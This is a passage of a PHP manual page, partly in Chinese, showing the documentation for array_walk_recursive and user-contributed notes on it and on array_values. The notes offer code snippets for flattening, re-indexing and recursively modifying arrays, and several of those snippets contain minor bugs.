function array_flatten_sep($sep, $array) {
  $result = array();
  $stack = array();
  array_push($stack, array("", $array));

  while (count($stack) > 0) {
    list($prefix, $array) = array_pop($stack);

    foreach ($array as $key => $value) {
      $new_key = $prefix . strval($key);

      if (is_array($value))
        array_push($stack, array($new_key . $sep, $value));
      else
        $result[$new_key] = $value
    }
  }

  return $result;
}

/*
 * Flattening a multi-dimensional array into an
 * n-dimensional one. The last n keys of each element are
 * preserved. If this results in ambiguities, results are
 * undefined.
 *
 * a[x_1][x_2]...[x_m]  becomes  a[x_{m-n+1}]...[x_m]
 */
function array_flatten_n($array, $n) {
  $result = array();
  $stack = array();
  array_push($stack, array(array(), $array));

  while (count($stack) > 0) {
    list($prefix, $array) = array_pop($stack);

    foreach ($array as $key => $value) {
      if (is_array($value)) {
        $new_prefix = array_values($prefix);
        array_push($new_prefix, $key);
        if (count($new_prefix) >= n)
          array_shift($new_prefix);

        array_push($stack, array($new_prefix, $value));
      } else {
        $array = $result;
        foreach ($prefix as $pkey) {
           if (!is_array($array[$pkey]))
             $array[$pkey] = array();
           $array = $array[$pkey];
        }
        $array[$key] = $value;
      }
    }
  }

  return $result;
}
?>
karl dot rixon at gmail dot com 18-Sep-2009 02:57
A modification of wellandpower at hotmail.com's function to perform array_values recursively. This version will only re-index numeric keys, leaving associative array indexes alone.

<?php

function array_values_recursive($array) {
    $temp = array();
    foreach ($array as $key => $value) {
        if (is_numeric($key)) {
            $temp[] = is_array($value) ? array_values_recursive($value) : $value;
        } else {
            $temp[$key] = is_array($value) ? array_values_recursive($value) : $value;
        }
    }
    return $temp;
}

?>
chrysb at gmail dot com 24-Sep-2008 12:34
If you are looking for a way to count the total number of times a specific value appears in array, use this function:

<?php
function array_value_count ($match, $array)
{
    $count = 0;

    foreach ($array as $key => $value)
    {
        if ($value == $match)
        {
            $count++;
        }
    }

    return $count;
}
?>

This should really be a native function of PHP.
madhamster 12-Jun-2008 04:18
Good function, if you want to acces associative array element by position:

<?php

$array = array('fruit'=>'apple', 'juice'=>'orange', 'color'=>'lime');

$array = array_values($array);

echo $array[2];

?>
rene dot zak at post dot cz 24-Apr-2008 01:05
<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => ' ',
    'fruit4' => ' ',
    'fruit5' => 'apple');

    for ($i = 0; $i <  count($array); $i++) {
    $key=key($array);
    $val=$array[$key];
    if ($val<> ' ') {
       echo $key ." = ".  $val ." <br> ";
       }
     next($array);
    }

/*
fruit1 = apple
fruit2 = orange
fruit5 = apple
*/
?>
bluej100 at gmail dot com 07-Sep-2007 10:10
Most of the array_flatten functions don't allow preservation of keys. Mine allows preserve, don't preserve, and preserve only strings (default).

<?
// recursively reduces deep arrays to single-dimensional arrays
// $preserve_keys: (0=>never, 1=>strings, 2=>always)
function array_flatten($array, $preserve_keys = 1, &$newArray = Array()) {
  foreach ($array as $key => $child) {
    if (is_array($child)) {
      $newArray =& array_flatten($child, $preserve_keys, $newArray);
    } elseif ($preserve_keys + is_string($key) > 1) {
      $newArray[$key] = $child;
    } else {
      $newArray[] = $child;
    }
  }
  return $newArray;
}

// Tests

$array = Array(
  'A' => Array(
    1 => 'foo',
    2 => Array(
      'a' => 'bar'
    )
  ),
  'B' => 'baz'
);

echo 'var_dump($array);'."\n";
var_dump($array);
echo 'var_dump(array_flatten($array, 0));'."\n";
var_dump(array_flatten($array, 0));
echo 'var_dump(array_flatten($array, 1));'."\n";
var_dump(array_flatten($array, 1));
echo 'var_dump(array_flatten($array, 2));'."\n";
var_dump(array_flatten($array, 2));
?>
deceze at gmail dot YesThatsGoogleMail dot com 03-Sep-2007 12:31
Please note that 'wellandpower at hotmail.com's recursive merge doesn't work. Here's the fixed version:

<?php

function array_values_recursive($array) {
   $flat = array();

   foreach ($array as $value) {
           if (is_array($value)) $flat = array_merge($flat, array_values_recursive($value));
           else $flat[] = $value;
   }
   return $flat;
}

?>
warmo_at_o2_dot_pl 21-Mar-2007 10:42
@Yassin Ezbakhe <yassin88 at gmail dot com>
When we have to flatten multidimensional array of strings or numbers this method could be much faster.
Inconvenience of this method is, that its speed depends on size of strings/numbers, which array contains - bigger strings, lower efficiency.
Conclusion: Use this method for small amount of data in arrays (less than 500B per element in my case) which have many dimensions, in other case, use Yassin Ezbakhe method.

<?php

function md_implode($array, $glue = '')
{
    if (is_array ($array))
    {
        $output = '';
        foreach ($array as $v)
        {
            $output .= md_implode($v, $glue);
        }
        return $output;
    }
    else
    {
        return $array.$glue;
    }
}

function md_array_flatten($md_array)
{
    $flat_array = explode ('#|#',md_implode($md_array,'#|#')); // "#|#" is a sample delimiter
    array_pop($flat_array); // to remove last empty element
    return $flat_array;
}

//Usage:
$flat_array = md_array_flatten($some_md_array)

?>
ahigerd at stratitec dot com 24-Jan-2007 06:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
wellandpower at hotmail.com 29-Aug-2006 05:56
The function here flatterns an entire array and was not the behaviour I expected from a function of this name.

I expected the function to flattern every sub array so that all the values were aligned and it would return an array with the same dimensions as the imput array, but as per array_values() adjusting the keys rater than removing them.

In order to do this, you will want this function:

function array_values_recursive($array) {
   $temp = array();

   foreach ($array as $value) {
           if(is_array($value)) { $temp[] = array_values_recursive($value); }
           else { $temp[] = $value; }
   }
   return $temp;
}

Hopefully this will assist.
wizglins at gmx dot ch 13-Apr-2006 12:21
In case you want to replace all keys in multiarrays by integers starting at 0, the following function might help.

<?php

function numerieren($array)
{
$array_v = array_values($array);
$count_v = count($array_v);

for ($i=0; $i<$count_v; $i++)
  if (is_array($array_v[$i]))
    $array_v[$i] = numerieren($array_v[$i]);
return $array_v;
}

?>
Yassin Ezbakhe <yassin88 at gmail dot com> 31-Aug-2005 04:28
<?php
/**********************************************
 *
 *   PURPOSE: Flatten a deep multidimensional array into a list of its
 *   scalar values
 *
 *   array array_values_recursive (array array)
 *
 *   WARNING: Array keys will be lost
 *
 *********************************************/

function array_values_recursive($array)
{
    $arrayValues = array();

    foreach ($array as $value)
    {
        if (is_scalar($value) OR is_resource($value))
        {
             $arrayValues[] = $value;
        }
        elseif (is_array($value))
        {
             $arrayValues = array_merge($arrayValues, array_values_recursive($value));
        }
    }

    return $arrayValues;
}
?>

This function is an improved and faster version of the one posted by <27-Apr-2004 09:47>
27-Apr-2004 06:47
<?php
/**
   flatten an arbitrarily deep multidimensional array
   into a list of its scalar values
   (may be inefficient for large structures)
   (will infinite recurse on self-referential structures)
   (could be extended to handle objects)
*/
function array_values_recursive($ary)
{
   $lst = array();
   foreach( array_keys($ary) as $k ){
      $v = $ary[$k];
      if (is_scalar($v)) {
         $lst[] = $v;
      } elseif (is_array($v)) {
         $lst = array_merge( $lst,
            array_values_recursive($v)
         );
      }
   }
   return $lst;
}
?>

code till dawn!  -mark meves!
nopy at users dot sourceforge dot net 24-Oct-2003 03:36
Just a warning that re-indexing an array by array_values() may cause you to reach the memory limit unexpectly.

For example, if your PHP momory_limits is 8MB,
 and says there's a BIG array $bigArray which allocate 5MB of memory.

Doing this will cause PHP exceeds the momory limits:

<?php
  $bigArray = array_values( $bigArray );
?>

It's because array_values() does not re-index $bigArray directly,
it just re-index it into another array, and assign to itself later.
mailseppel at gmx dot de 04-Oct-2002 04:10
Remember, that the following way of fetching data from a mySql-Table will do exactly the thing as carl described before: An array, which data may be accessed both by numerical and DB-ID-based Indexes:

<?php
$row = mysql_fetch_array($db_result, $db_link);
?>

Hope I haven't misunderstood anything here.. :)
carl at thep.lu.se 29-Jan-2002 03:59
Indeed you can, and that's what's so great about it. I have, for instance, a function that returns the results of a database query as an array. I want to keep the order that the entries were returned in, but at the same time I want to be able to access them _either_ by the position _or_ by some other index (such as some sort of ID in the database, gotten from elsewhere). In this case, I can make the function return an array from id to [array of values], and by a simple call to array_values() this is transformed into an array indexed from 0 to count()-1. Useful.


对数组中的每个成员递归地应用用户函数

  • ? array_values
  • array_walk ?
  • PHP Manual
  • 数组 函数
  • 对数组中的每个成员递归地应用用户函数

array_walk_recursive

(PHP 5, PHP 7)

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

说明

array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] ) : bool

将用户自定义函数 callback 应用到 array 数组中的每个单元。本函数会递归到更深层的数组中去。

参数

array

输入的数组。

callback

典型情况下 callback 接受两个参数。array 参数的值作为第一个，键名作为第二个。

Note:

如果 callback 需要直接作用于数组中的值，则给 callback 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

userdata

如果提供了可选参数 userdata，将被作为第三个参数传递给 callback。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 array_walk_recursive() 例子

<?php
$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

function test_print($item, $key)
{
    echo "$key holds $item\n";
}

array_walk_recursive($fruits, 'test_print');
?>

以上例程会输出：

a holds apple
b holds banana
sour holds lemon

注意上例中的键 'sweet' 并没有显示出来。任何其值为 array 的键都不会被传递到回调函数中去。

参见

  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理
  • callback 类型的信息

User Contributed Notes

mike at mpsharp dot com 13-Jul-2019 04:32
Here's a more general solution to modifying the array to which the leaf belongs.   You can unset the current key, or add siblings, etc.

<?php
/**
 * Modified version of array_walk_recursive that passes in the array to the callback
 * The callback can modify the array or value by specifying a reference for the parameter.
 *
 * @param array The input array.
 * @param callable $callback($value, $key, $array)
 */
function array_walk_recursive_array(array &$array, callable $callback) {
    foreach ($array as $k => &$v) {
        if (is_array($v)) {
            array_walk_recursive_array($v, $callback);
        } else {
            $callback($v, $k, $array);
        }
    }
}
?>
Dario 01-Oct-2018 06:42
I was looking for how to change values of array since you can't pass array by reference anymore in new PHP versions, here is simple solution

<?php
array_walk_recursive(
    $myArray,
    function (&$value) {
        if (/*some condition*/) {
            $value = 'New value';
        }
    }
);
?>

After that $myArray will be altered with new value.
r 08-Apr-2018 02:54
How to modify external variable from inside recursive function using userdata argument.

<?php
$arr = [
   'one' => ['one_one' => 11, 'one_two' => 12],
   'two' => 2
];

$counter = 0;

//Does not persist
array_walk_recursive( $arr, function($value, $key, $counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);
echo "counter : $counter";

// result
// 11 : 1
// 12 : 1
// 2 : 1
// counter: 0

//Persists only in same array node
array_walk_recursive( $arr, function($value, $key, &$counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);

// result
// 11 : 1
// 12 : 2
// 2 : 1
// counter : 0

//Fully persistent. Using 'use' keyword
array_walk_recursive( $arr, function($value, $key) use (&$counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);
echo "counter : $counter";

// result
// 11 : 1
// 12 : 2
// 2 : 3
// counter : 3
seductiveapps.com 14-Mar-2018 05:45
usage :
$nd = $newsApp2->dataSources();
//walkArray ($nd, 'walkArray_printKey', 'walkArray_printValue');
// prints the entire array

$x = chaseToPath ($nd, 'RSS_list/English News',false);
walkArray ($x, 'walkArray_printKey', 'walkArray_printValue');
// prints everything under $nd['RSS_list']['English News']

function &chaseToPath (&$wm, $path, $create=false) {
    //var_dump ($create); die();
    //echo '$wm=<pre>'; var_dump ($wm);echo '</pre>'; //die();
    //$path = str_replace ('/', '/d/', $path);
    //$path .= '/d';
    $nodes = explode ('/', $path);
    $chase = &chase ($wm, $nodes, $create);

    //echo '$wm=<pre>'; var_dump ($wm);echo '</pre>'; die();
    /*
    $dbg = array (
        '$path' => $path,
        '$nodes' => $nodes,
        '$wm' => $wm,
        '$chase' => $chase
    );
    echo '$dbg=<pre style="background:red;color:yellow;">'; var_dump ($dbg); echo '</pre>';
    */
    //die();

    $false = false;
    if (good($chase)) {
        $arr = &result($chase);
        return $arr;
    } else return $false;
}

function &chase (&$arr, $indexes, $create=false) {
        if (false) {
        echo 'sitewide/functions.php --- $arr=<pre>'; var_dump ($arr); echo '</pre>';
        echo 'sitewide/functions.php --- $indexes=<pre>'; var_dump ($indexes); echo '</pre>';
        echo 'sitewide/functions.php --- $create=<pre>'; var_dump ($create); echo '</pre>';
        }
    $r = &$arr;
    foreach ($indexes as $idx) {
            //echo 'sitewide/functions.php --- $idx=<pre>'; var_dump ($idx); var_dump (array_key_exists($idx,$r)); var_dump ($r); echo '</pre>';
            if (
                    is_array($r)
                    && (
                            $create===true
                            || array_key_exists($idx,$r)
                    )
            ) {
                    if ($create===true && !array_key_exists($idx,$r)) $r[$idx]=array();
                    //echo 'sitewide/functions.php --- $idx=<pre>'; var_dump ($idx); echo '</pre>';
                    $r = &$r[$idx];
            } else {
                    $err = array(
                    'msg' => 'Could not walk the full tree',
                    'vars' => array(
                            '$idx--error'=>$idx,
                            '$indexes'=>$indexes,
                            '$arr'=>$arr
                            )
                    );
                    badResult (E_USER_NOTICE, $err);
                    $ret = false; // BUG #2 squashed
                    return $ret;
            }
    }

        //echo 'sitewide/functions.php --- $r=<pre>'; var_dump ($r); echo '</pre>';
    return goodResult($r);
}
seductiveapps.com 14-Mar-2018 05:10
function walkArray (&$a, $keyCallback, $valueCallback, $k='', $level=0, $path='') {
// usage : walkArray ($someRecursiveArray, 'walkArray_printKey', 'walkArray_printValue');
// can handle recursive arrays. a nested array is a recursive array.
// is faster, especially on large arrays, than RecuriveArrayIterator, see speed testing comment at http://php.net/manual/en/class.recursiveiteratoriterator.php
// provides detailed information to callbacks on where in the data we are, something that array_walk_recursive just doesnt do.
// passes data around as pointers, not copies of data.
    if (
        !function_exists($keyCallback)
        && !function_exists($valueCallback)
    ) {
        return badResult (E_USER_ERROR, array (
            'msg' => 'walkArray() was called without $keyCallback or $valueCallback as existing function names. see also : call_user_func() in PHP manual.'
        );
    }

    if (!is_array($a)) {
        return badResult (E_USER_ERROR, array (
            'msg' => 'walkArray() was called but $a parameter passed is not an array.'
        ));
    } else {
        foreach ($a as $k=>&$v) {
            $cd = array ( // callback data
                'type' => 'key',
                'path' => $path,
                'level' => $level,
                'k' => &$k,
                'v' => &$v
            );
            if (!is_null($keyCallback)) call_user_func ($keyCallback, $cd);
            if (is_array ($v)) {
                walkArray ($a[$k], $keyCallback, $valueCallback, $k, $level+1, $path.'/'.$k);
            } else {
                $cd['type'] = 'value';
                if (!is_null($valueCallback)) call_user_func ($valueCallback, $cd);
            }
        }
    }
    return true;
}

function walkArray_printKey ($cd) {
    echo '<div style="background:blue;color:yellow;border-radius:5px;padding:2px;margin-top:5px;">'.PHP_EOL;
    $indent = 20 * $cd['level'];
    echo '<div style="padding-left:'.$indent.'px">'.PHP_EOL;
    echo 'key : '.$cd['k'].'<br/>'.PHP_EOL;
    echo 'path : '.$cd['path'].'<br/>'.PHP_EOL;
    echo '</div>'.PHP_EOL;
    echo '</div>'.PHP_EOL;
}

function walkArray_printValue ($cd) {
    echo '<pre style="background:green;color:white;border-radius:5px;padding:2px;margin-top:2px;">'.PHP_EOL;
    $indent = 20 * $cd['level'];
    echo '<div style="padding-left:'.$indent.'px">'.PHP_EOL;
    echo 'key : '.$cd['k'].'<br/>'.PHP_EOL;
    echo 'path : '.$cd['path'].'<br/>'.PHP_EOL;
    echo 'value : '.$cd['v'].'<br/>'.PHP_EOL;
    echo '</div>'.PHP_EOL;
    echo '</pre>'.PHP_EOL;
}

// the only thing you have to change in this code is the badResult() function, but you could raise an exception or return false
CommentUser 07-Jul-2017 01:55
The following code, which returns back a flattened array of sorts into the $results array, in newer versions of PHP raises the error "PHP Fatal error:  Call-time pass-by-reference has been removed":

<?php

$results = array();

function example_function ($item, $key, &$arr_values)
{
    $arr_values[$key] = $item;
}

array_walk_recursive($data, 'example_function', &$results);

print_r($results);

?>

This can be fixed using an anonymous function:

<?php

$results = array();

array_walk_recursive($data, function ($item, $key) use (&$results){$results[$key] = $item;});

print_r($results);

?>
lincoln dot du dot j at gmail dot com 03-Jul-2017 06:40
multidimensional array to single array

$array=[1=>[2,5=>[4,2],[7,8=>[3,6]],5],4];
$arr=[];
array_walk_recursive($array, function($k){global $arr; $arr[]=$k;});
print_r($arr);

Output

Array ( [0] => 2 [1] => 4 [2] => 2 [3] => 7 [4] => 3 [5] => 6 [6] => 5 [7] => 4 )
Anonymous 03-Jul-2017 06:39
multidimensional array to single array

$array=[1=>[2,5=>[4,2],[7,8=>[3,6]],5],4];
$arr=[];
array_walk_recursive($array, function($k){global $arr; $arr[]=$k;});
print_r($arr);

Output

Array ( [0] => 2 [1] => 4 [2] => 2 [3] => 7 [4] => 3 [5] => 6 [6] => 5 [7] => 4 )
webdiecinove at gmail dot com 04-Jan-2017 04:34
If you want print a multidimensional array, you could try this (the array I use is just an example).
Then, I use array_walk_recursive with a function that checks the type of items:

$arraytest=array();
$arraytest["firstlev1"] = "First level";
$arraytest["firstlev2"] = array(
                0 => array(
                    "secondlev11"=>"Title1",
                    "secondlev12"=>"Subtitle1",
                    "secondlev13" => array(
                        0 => array("othertitle"=>"other title", "othersubtitle"=>"other sub title"),
                        1 => array("info"=>"Informations", "otherinfo"=>"Other info")
                    )
                ),
                1 => array(
                        "secondlev21"=>"Title2",
                        "secondlev22"=>"Subtitle2"
                )
);

function testitems($theitem,$thekey){

    if(is_array($theitem)){
        foreach($theitem as $thekey=> $theitem2){
            echo "<br>the key: $thekey..........the item: $theitem2";
        }
    }
    else{
            echo "<br>the value:  $theitem";

    }

}

array_walk_recursive($arraytest, 'testitems');
KH 01-Nov-2016 05:43
Example for the use of $userdata:

$userdata is the third parameter of the callback function.
The first parameter is $item, the second is $key, and the third one is $userdata.

<?php
$sweet = array('a' => 'Apfel', 'b' => 'Banane');
$fruits = array('sü?' => $sweet, 'sauer' => 'Zitrone');

function test_print($item, $key, $info)
{
    echo "$key beinhaltet $item $info\n";
}

array_walk_recursive($fruits, 'test_print', '  ... Bio');
?>

generates

a beinhaltet Apfel ... Bio
b beinhaltet Banane ... Bio
sauer beinhaltet Zitrone ... Bio
php at genjo dot fr 13-Mar-2015 05:33
I use RecursiveIteratorIterator with parameter CATCH_GET_CHILD to iterate on leafs AND nodes instead of array_walk_recursive function :

<?php
// Iteration on leafs AND nodes
foreach (new RecursiveIteratorIterator(new RecursiveArrayIterator($candidate), RecursiveIteratorIterator::CATCH_GET_CHILD) as $key => $value) {
    echo 'My node ' . $key . ' with value ' . $value . PHP_EOL;
}
?>
robin leffmann 28-Jan-2015 03:48
A simple solution for walking a nested array to obtain the last set value of a specified key:

<?php

$key = 'blah';
$val = null;
array_walk_recursive( $your_array,
                      function($v, $k, $u) { if($k === $u[0]) $u[1] = $v; },
                      [$key ,&$val] );

echo "$key = $val";

?>
gk at anuary dot com 07-Mar-2014 09:29
array_walk_recursive itself cannot unset values. Even though you can pass array by reference, unsetting the value in the callback will only unset the variable in that scope.

<?php
/**
 * http://uk1.php.net/array_walk_recursive implementation that is used to remove nodes from the array.
 *
 * @param array The input array.
 * @param callable $callback Function must return boolean value indicating whether to remove the node.
 * @return array
 */
function walk_recursive_remove (array $array, callable $callback) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = walk_recursive_remove($v, $callback);
        } else {
            if ($callback($v, $k)) {
                unset($array[$k]);
            }
        }
    }

    return $array;
}
?>

An up to date implementation of the above function can be looked up from https://github.com/gajus/marray/blob/master/src/marray.php#L116.
Anonymous 21-Nov-2013 10:42
since PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in foo(&$a);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.
Rodrigo Guariento 23-Aug-2013 01:27
Simple array_walk_recursive:

// var example
$myArray = Array(
  Array('keyA1' => '    textA1 ', 'keyA2' => '  textA2     '),
  Array('keyB1' => '    textB1 ', 'sub' =>
        Array('keyB1_sub1' => '      textB1_sub1   '),
          Array('keyB1_sub2' => '      textB1_sub2   ')
      ),
  Array('keyC1' => '    textC1 ', 'keyC2' => '  textC2     '),
  Array('keyD1' => '    textD1 ', 'keyD2' => '  textD2     '),
  Array('keyE1' => '    textE1 ', 'keyE2' => '  textE2     ')
);

// function for "trim" (or your function, use same structure)
function trimming($data) {
  if (gettype($data) == 'array')
    return array_map("trimming", $data);
  else
    return trim($data);
}

// get array
$myArray = array_map("trimming", $myArray);

// show array trimmed
var_dump($myArray);

/*
RESULT

array (size=5)
  0 =>
    array (size=2)
      'keyA1' => string 'textA1' (length=6)
      'keyA2' => string 'textA2' (length=6)
  1 =>
    array (size=3)
      'keyB1' => string 'textB1' (length=6)
      'sub' =>
        array (size=1)
          'keyB1_sub1' => string 'textB1_sub1' (length=11)
      0 =>
        array (size=1)
          'keyB1_sub2' => string 'textB1_sub2' (length=11)
  2 =>
    array (size=2)
      'keyC1' => string 'textC1' (length=6)
      'keyC2' => string 'textC2' (length=6)
  3 =>
    array (size=2)
      'keyD1' => string 'textD1' (length=6)
      'keyD2' => string 'textD2' (length=6)
  4 =>
    array (size=2)
      'keyE1' => string 'textE1' (length=6)
      'keyE2' => string 'textE2' (length=6)

*/
none at of dot your dot biz 03-Jun-2013 10:50
Since this is only mentioned in the footnote of the output of one of the examples, I feel it should be spelled out:

* THIS FUNCTION ONLY VISITS LEAF NODES *

That is to say that if you have a tree of arrays with subarrays of subarrays, only the plain values at the leaves of the tree will be visited by the callback function.  The callback function isn't ever called for a nodes in the tree that subnodes (i.e., a subarray).  This has the effect as to make this function unusable for most practical situations.
chris at willowsconsulting dot ie 23-Oct-2012 10:11
To convert all values of an array in UTF8, do this:

<?php

function convert_before_json(&$item, &$key)
{
   $item=utf8_encode($item);
}

array_walk_recursive($your_array,"convert_before_json");

?>
cyranix at cyranix dot com 28-Oct-2011 07:45
I needed to add or modify values in an array with unknown structure. I was hoping to use array_walk_recursive for the task, but because I was also adding new nodes I came up with an alternate solution.

<?php

    /**
     * Sets key/value pairs at any depth on an array.
     * @param $data an array of key/value pairs to be added/modified
     * @param $array the array to operate on
     */
    function setNodes($data, &$array)
    {
        $separator = '.'; // set this to any string that won't occur in your keys
        foreach ($data as $name => $value) {
            if (strpos($name, $separator) === false) {
                // If the array doesn't contain a special separator character, just set the key/value pair.
                // If $value is an array, you will of course set nested key/value pairs just fine.
                $array[$name] = $value;
            } else {
                // In this case we're trying to target a specific nested node without overwriting any other siblings/ancestors.
                // The node or its ancestors may not exist yet.
                $keys = explode($separator, $name);
                // Set the root of the tree.
                $opt_tree =& $array;
                // Start traversing the tree using the specified keys.
                while ($key = array_shift($keys)) {
                    // If there are more keys after the current one...
                    if ($keys) {
                        if (!isset($opt_tree[$key]) || !is_array($opt_tree[$key])) {
                            // Create this node if it doesn't already exist.
                            $opt_tree[$key] = array();
                        }
                        // Redefine the "root" of the tree to this node (assign by reference) then process the next key.
                        $opt_tree =& $opt_tree[$key];
                    } else {
                        // This is the last key to check, so assign the value.
                        $opt_tree[$key] = $value;
                    }
                }
            }
        }
    }

?>

Sample usage:

<?php

$x = array();
setNodes(array('foo' => 'bar', 'baz' => array('quux' => 42, 'hup' => 101)), $x);
print_r($x); // $x has the same structure as the first argument
setNodes(array('jif.snee' => 'hello world', 'baz.quux.wek' => 5), $x);
print_r($x); // added $x['jif']['snee'] and modified $x['baz']['quux'] to be array('wek' => 5)

?>
ghoffman at salientdigital dot com 13-Oct-2011 10:29
If you are wanting to change the values of an existing multi-dimensional array, as it says above in the note, you need to specify the first argument as a reference. All that means is, be sure to precede the $item variable with an ampersand (&) as in the good_example below.

Unfortunately the PHP example given doesn't do this. It actually took me a while to figure out why my function wasn't changing the original array, even though I was passing by reference.

Here's the tip: Don't return any value from the function! Just change the value of $item that you passed in by reference. This is rather counter-intuitive since the vast majority of functions return a value.

<?php
// array_walk_recursive fails to change your array unless you pass by reference.
// Don't return values from your filter function, even though it's quite logical at a glance!
function bad_example($item,$key){
   if($key=='test'){
       return 'PHP Rocks';  // Don't do it
   }else{
      return $item;  // Don't do this either
   }
}

// array_walk_recursive pass-by-reference example
function good_example(&$item,$key){
   if($key=='test'){
        $item='PHP Rocks'; // Do This!
   }
}

$arr = array('a'=>'1','b'=>'2','test'=>'Replace This');

array_walk_recursive($arr,'bad_example');
var_dump($arr);
/**
 * no errors, but prints...
 * array('a'=>'1','b'=>'2','test'=>'Replace This');
 */

array_walk_recursive($arr,'good_example');
var_dump($arr);
/**
 * prints...
 * array('a'=>'1','b'=>'2','test'=>'PHP Rocks');
 */

?>

Returning a value from your function does work if you pass by reference and modify $item before you return, but you will eat up memory very, very fast if you try it, even on an example as small as the one here.

One other silly thing you might try first is something like this:

<?php
// Resist the urge to do this, it doesn't work.
$filtered = array_walk_recursive($unfiltered,'filter_function');
?>

Of course, $filtered is just TRUE afterwards, not the filtered results you were wanting. Oh, it ran your function recursively alright, but changed all the values in the local function scope only and returns a boolean as the documentation states.
rob at yurkowski dot net 26-Oct-2010 11:16
If you don't really particularly care about the keys of an array, you can capture all values quite simply:

<?php

$sample = array('dog' => 'woof', 'cat' => array('angry' => 'hiss', 'happy' => 'purr'), 'aardvark' => 'kssksskss');
$output = array();

// Push all $val onto $output.
array_walk_recursive($sample, create_function('$val, $key, $obj', 'array_push($obj, $val);'), &output);

// Printing
echo nl2br(print_r($output, true));

/*
* Array
* (
*  [0] => woof
*  [1] => hiss
*  [2] => purr
*  [3] => kssksskss
* )
*/
?>

[EDIT BY danbrown AT php DOT net: In a note added by 'FaustoFilho' on 17-MAY-2011, the following information was appended to this note.

[If you intend to use this] "function to extract the last key value of an array, don't forget to insert a currency sign ($) signal before '$output' at 7th line.

This value must be a variable, and if you forgot to assign this signal, your code won't work, displaying an error like this:

Parse error: syntax error, unexpected ')', expecting T_PAAMAYIM_NEKUDOTAYIM in /path/to/script.php on line 7."]
bradbeattie at gmail dot com 27-Aug-2010 11:18
The description says "If funcname needs to be working with the actual values of the array, specify the first parameter of funcname as a reference." This isn't necessarily helpful as the function you're calling might be built in (e.g. trim or strip_tags). One option would be to create a version of these like so.

<?php
    function trim_by_reference(&$string) {
        $string = trim($string);
    }
?>

The downside to this approach is that you need to create a wrapper function for each function you might want to call. Instead, we can use PHP 5.3's inline function syntax to create a new version of array_walk_recursive.

<?php
    /**
     * This function acts exactly like array_walk_recursive, except that it pretends that the function
     * its calling replaces the value with its result.
     *
     * @param $array The first value of the array will be passed into $function as the primary argument
     * @param $function The function to be called on each element in the array, recursively
     * @param $parameters An optional array of the additional parameters to be appeneded to the function
     *
     * Example usage to alter $array to get the second, third and fourth character from each value
     *     array_walk_recursive_referential($array, "substr", array("1","3"));
     */
    function array_walk_recursive_referential(&$array, $function, $parameters = array()) {
        $reference_function = function(&$value, $key, $userdata) {
            $parameters = array_merge(array($value), $userdata[1]);
            $value = call_user_func_array($userdata[0], $parameters);
        };
        array_walk_recursive($array, $reference_function, array($function, $parameters));
    }
?>

The advantage here is that we only explicitly define one wrapper function instead of potentially dozens.
amoffat at amoffat dot com 04-Jun-2008 05:15
<?
function my_array_map() {
    $args = func_get_args();
    $arr = array_shift($args);

    foreach ($args as $fn) {
        $nfn = create_function('&$v, $k, $fn', '$v = $fn($v);');
        array_walk_recursive($arr, $nfn, $fn);
    }
    return $arr;
}
?>

takes an array as the first argument, and functions as the other arguments.  it applies those functions recursively to the array
JW 14-Mar-2008 05:59
This function has a serious bug, which is still not fixed as of the PHP 5.2.5 release. After you call it, it can accidentally modify your original array. Save yourself hours of frustration by reading on.

The bug is here: http://bugs.php.net/bug.php?id=42850, and it looks like it will be fixed for 5.3.

If the array that you walk contains other array elements, they will be turned into references. This will happen even if the callback function doesn't take its first argument by reference, and doesn't do anything to the values.

For example, try this:
<?php
$data = array ('key1' => 'val1', 'key2' => array('key3' => 'val3'));
function foo($item, $key){}
var_dump($data);
?>

The original array has no references. Now try this:
<?php
array_walk_recursive($data,'foo');
var_dump($data);
?>

Now key2 is a reference, not just an array. So if you do this:
<?php
function test($item){$item['key2'] = array();}
test($data);
var_dump($data);
?>

you will see that test modifies $data, even though it shouldn't.

One workaround is to immediately make a deep copy of the array after calling array_walk_recursive, like this:
<?php
function array_duplicate($input) {
  if (!is_array($input)) return $input;
  $output = array();
  foreach ($input as $key => $value) {
    $output[$key] = array_duplicate($value);
  }
  return $output;
}
array_walk_recursive($data,'foo');
$data = array_duplicate($data);
var_dump($data);
?>

After doing that, the references are gone.
ik at paulkaspers dot nl 15-Oct-2006 01:46
To egingell at sisna dot com:

There is a small bug in your function, the following line should be changed:
From: if ($value != $saved_value || $saved_key != $key) {
Into: if ($value !== $saved_value || $saved_key !== $key) {

It's a nice function, because I was searching for something to change the keys of a multiple dimension array.
gabrielu at hotmail dot com 21-Feb-2006 01:13
I decided to add to the previous PHP 4 compatible version of array_walk_recursive() so that it would work within a class and as a standalone function.  Both instances are handled by the following function which I modified from omega13a at sbcglobal dot net.

The following example is for usage within a class.  To use as a standalone function take it out of the class and rename it.  (Example: array_walk_recursive_2)

<?php
class A_Class {

function array_walk_recursive(&$input, $funcname, $userdata = '') {
  if(!function_exists('array_walk_recursive')) {
    if(!is_callable($funcname))
      return false;

    if(!is_array($input))
      return false;

    foreach($input as $key=>$value) {
      if(is_array($input[$key])) {
        if(isset($this)) {
          eval('$this->' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
        } else {
          if(@get_class($this))
            eval(get_class() . '::' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
          else
            eval(__FUNCTION__ . '($input[$key], $funcname, $userdata);');
        }
      } else {
        $saved_value = $value;

        if(is_array($funcname)) {
          $f = '';
